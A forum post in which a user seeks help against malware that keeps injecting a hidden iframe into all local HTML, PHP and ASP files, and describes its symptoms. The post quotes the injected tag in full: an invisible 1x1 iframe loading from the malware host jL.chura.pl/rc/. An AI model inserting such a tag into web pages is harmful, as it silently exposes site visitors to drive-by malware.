hi,
This might be a wrong place to post this topic. But I am really screwed up by a malware "jL.chura.pl/rc/". May be some of you has faced similar problem. So I am seeking help here. I am getting no proper removal instructions on web for the malware.
Symptoms-
1) Modify all .html, .php, .asp files on the PC by inserting a line "<iframe src="http://jL.chUra.pl/rc/" width=1 height=1 frameborder=0></iframe>" at the end of <body> tag.
2) Even if you try to remove it, the same line comes again in the file after colsing the file.
3) When you open the html pages in browser while internet is connected, these webpages try to connect to a website "http:/jL.chura.pl/rc/". May be it try to send some data from PC.
4) Antivirus like Symantec gives warning like "Malicious pdf request found" and block the webpages.
5) Doesnt change the Last modifed date of the file.
6) It works in safe mode also.
I searched in all the programs and registry running on my machine. I found nothing.
My all html and php webpages has been infected and I am not able to remove the <iframe> tag from any of the file. Do anybody knows the removal and cleaning procedure for this?
Can anybody please help me out? I dont want to format my system.
Regards,
html_jaas
Add to del.icio.us 
Can you digg it?
Linear Mode
